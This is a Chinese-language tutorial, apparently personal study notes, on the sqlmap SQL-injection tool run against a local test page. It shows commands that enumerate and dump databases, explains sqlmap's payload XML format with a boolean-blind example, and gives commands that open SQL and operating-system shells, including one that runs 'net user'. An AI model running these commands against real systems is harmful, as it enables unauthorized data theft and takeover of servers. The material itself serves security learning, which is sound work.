sqlmap工具使用
本次学习使用的sqlmap版本:1.4.4.8
Sqlmap使用
① 判断是否是注入点
sqlmap.py -u "localhost:8089/test003.php?ID=1"
使用了-u参数指定测试的URL,若存在注入点将会显示出Web容器、数据库版本信息,结果如下:
web application technology: Apache 2.4.41, PHP 7.3.12 back-end DBMS: MySQL >= 5.0 (MariaDB fork)
② 获取数据库
sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs
使用—dbs参数读取数据库。结果如下:
available databases [6]: [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] test [*] test_db
③ 查看当前应用程序所用数据库
sqlmap.py -u "localhost:8089/test003.php?ID=1" --current-db
使用—current-db参数列出当前应用程序所使用的数据库,结果如下:
current database: 'test_db'
④ 列出指定数据库的所有表
sqlmap.py -u "localhost:8089/test003.php?ID=1" --tables -D "test_db"
使用—tables参数获取数据库表,-D参数指定数据库,结果如下:
Database: test_db [1 table] +-----------+ | testtable | +-----------+
⑤ 读取指定表中的字段名称
sqlmap.py -u "localhost:8089/test003.php?ID=1" --columns -T "testtable" -D "test_db"
使用—columns参数列取字段名及数据类型,结果如下:
Database: test_db Table: testtable [3 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | ID | varchar(255) | | Name | varchar(255) | | Age | int(11) | +--------+--------------+
⑥ 读取指定字段内容
sqlmap.py -u "localhost:8089/test003.php?ID=1" --dump -C "ID,Name,Age" -T "testtable" -D "test_db"
使用—dump参数转存数据,-C参数指定字段名,-T参数指定表名,-D指定数据库名称,在读取数据后,sqlmap还会把读取到的数据转存到sqlmap\output\localhost\dump\test_db\目录下,文件以“testtable.cvs”保存,结果如下:
Database: test_db Table: testtable [8 entries] +------+--------+-----+ | ID | Name | Age | +------+--------+-----+ | 1 | A | 1 | | 2 | B | 2 | | 3 | C | 3 | | 4 | D | 4 | | 5 | E | 5 | | 6 | F | 6 | | 7 | G | 7 | | 8 | H | 8 | +------+--------+-----+
打开testtable.cvs:
Sqlmap常用参数实验
-v
该参数用来显示信息的级别,一共有7个等级:
0:只显示python错误和关键信息
1:显示基本信息(默认)
2:显示调试(debug)信息
3:显示有效载荷注入(payload)
4:显示HTTP请求包
5:显示HTTP响应头
6:显示HTTP响应页面的内容
接下里我们实验一下:
-v 0:
sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 0
只返回关键信息;
-v 1:
sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 1
返回[INFO]信息,还会返回[WARNING]警告信息,这里没有警告信息;
-v 2:
sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 2
显示[DEBUG]调试信息;
-v 3:
由于
sqlmap.py -u "localhost:8089/test003.php?ID=1" –dbs
该命令没有payload,所以改用命令:
sqlmap.py -u "localhost:8089/test003.php?ID=1" --os-cmd="net user" -v 3
可以看到显示了[PAYLOAD]载荷信息,同时可以注意到有[WARNING]警告信息,这个在v1的时候即可显示;
-v 4:
sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 4
显示[TRAFFIC OUT]HTTP请求信息;
-v 5:
sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 5
显示了[TRAFFIC IN]HTTP响应头信息;
-v 6:
sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 6
在[TRAFFIC IN]中还包括了HTTP响应页面的内容,当响应页面包含比较多的内容的时候不建议在sqlmap中使用这个等级的显示信息。
Sqlmap中的payload
我们可以在sqlmap/data/xml/payload文件夹中找到所有的payload,在boolean_blind.xml文件开头解释了所有的payload的标签及相关参数。
Payload格式:
<test> <title></title> <stype></stype> <level></level> <risk></risk> <clause></clause> <where></where> <vector></vector> <request> <payload></payload> <comment></comment> <char></char> <columns></columns> </request> <response> <comparison></comparison> <grep></grep> <time></time> <union></union> </response> <details> <dbms></dbms> <dbms_version></dbms_version> <os></os> </details>
</test>
各标签的具体含义及参数:
标签:<test>
SQL注入测试的定义,包含了一次SQL注入所有的参数。
子标签:<title>
test的标题
子标签:<stype>
SQL注入的类型
有效值:
1:基于布尔值的盲注
2:基于错误查询的SQL注入
3:Inline queries(内联查询)SQL注入
4:堆栈查询SQL注入
5:基于时间的盲注
6:UNION联合查询SQL注入
子标签:<level>
规定了测试的检查级别
有效值:
1:Always(小于100个请求)
2:Try a bit harder(100-200个请求)
3:Good number of requests(200-500个请求)
4:Extensive test(500-1000个请求)
5:You have plenty of time(大于1000个请求)
Tips:默认参数是1,当参数值为2时一般会检查cookie里的参数,当参数大于等于3时一般还会检查User-agent和Referer。
子标签:<risk>
有效载荷破坏数据完整性的可能性
有效值:
1:低风险
2:中风险
3:高风险
Tips:默认为1,当参数为2时一般会有基于事件的测试,当参数为3时一般会有OR语句的测试
子标签:<clause>
有效载荷可以在哪个子句中生效
有效值:
0:Always
1:WHERE/HAVING
2:GROUP BY
3:ORDER BY
4:LIMIT
5:OFFSET
6:TOP
7:Table name
8:Column name
9:Pre-WHERE(non-query)
Tips:这些值也可以用逗号分隔。
子标签:<where>
在哪里加入有效载荷
有效值:
1:将字符串追加到参数原始值后
2:将参数原始值替换为负随机整数值后再将字符串加到后面
3:用字符串替换参数原始值
子标签:<vector>
将用于利用注入点的载荷
子标签:<request>
要注入的内容
子标签:<payload>
要测试的载荷
子标签:<comment>
在后缀之前,附加在载荷后面的注释
子标签:<char>
在UNION查询SQL注入测试中,用于强制联合列数的字符
子标签:<columns>
在UNION查询SQL注入测试中,列的范围
子标签:<response>
如何识别注入的载荷是否成功
子标签:<comparison>
使用这个标签中的字符串作为载荷并和<payload>中的载荷的响应进行比较,并应用比较算法。
Tips:一般用于测试基于布尔值的盲注
子标签:<grep>
在响应体中的正则表达式
Tips:一般用于基于错误返回的SQL注入
子标签:<time>
在返回响应之前等待的时间(秒)
Tips:一般用于基于时间的盲注和堆栈查询SQL注入
子标签:<union>
调用unionTest()函数
Tips:一般用于UNION查询的SQL注入
子标签:<details>
如果载荷成功,可以推断的细节
子标签:<dbms>
数据库的管理系统
子标签:<dbms_version>
数据库管理系统的版本
子标签:<os>
数据库管理系统所在的操作系统
根据<stype>的不同,所有的payload被分别存储在这几个不同的xml文件中,文件名即是<stype>的类型。
拿一个基于布尔值的盲注的payload来具体看看:
<test> <title>OR boolean-based blind - WHERE or HAVING clause</title> <stype>1</stype> <level>1</level> <risk>3</risk> <clause>1,9</clause> <where>2</where> <vector>OR [INFERENCE]</vector> <request> <payload>OR [RANDNUM]=[RANDNUM]</payload> </request> <response> <comparison>OR [RANDNUM]=[RANDNUM1]</comparison> </response> </test>
这条测试的标题是“OR boolean-based blind - WHERE or HAVING clause”;
类型的参数是1,基于布尔值的盲注;
level的参数是1,默认级别,不会对cookie等参数进行测试;
risk的参数是3,用了OR语句的测试
clause的参数是1和9,载荷在WEHER/HAVING/Pre-WHERE子句中生效;
where的参数是2,将参数原始值替换为负随机整数值后再将载荷字符串加到后面;
载荷是OR [INFERENCE],被注入的内容具体为OR [RANDNUM]=[RANDNUM]并和OR [RANDNUM]=[RANDNUM1]的返回值进行比对。
POST参数提交方式
--data="POST参数"
sqlmap.py -u "localhost:8089/test002.php" --data="Name=A"
sqlmap返回shell
sql shell:
--sql-shell
sqlmap.py -u "localhost:8089/test003.php?ID=1" --sql-shell
操作系统shell:
--os-shell
sqlmap.py -u "localhost:8089/test003.php?ID=1" --os-shell
成功后会创建一个对方操作系统的shell。
--os-pwn 同上,获取一个OOB shell,meterpreter或VNC。(没弄明白,有待学习)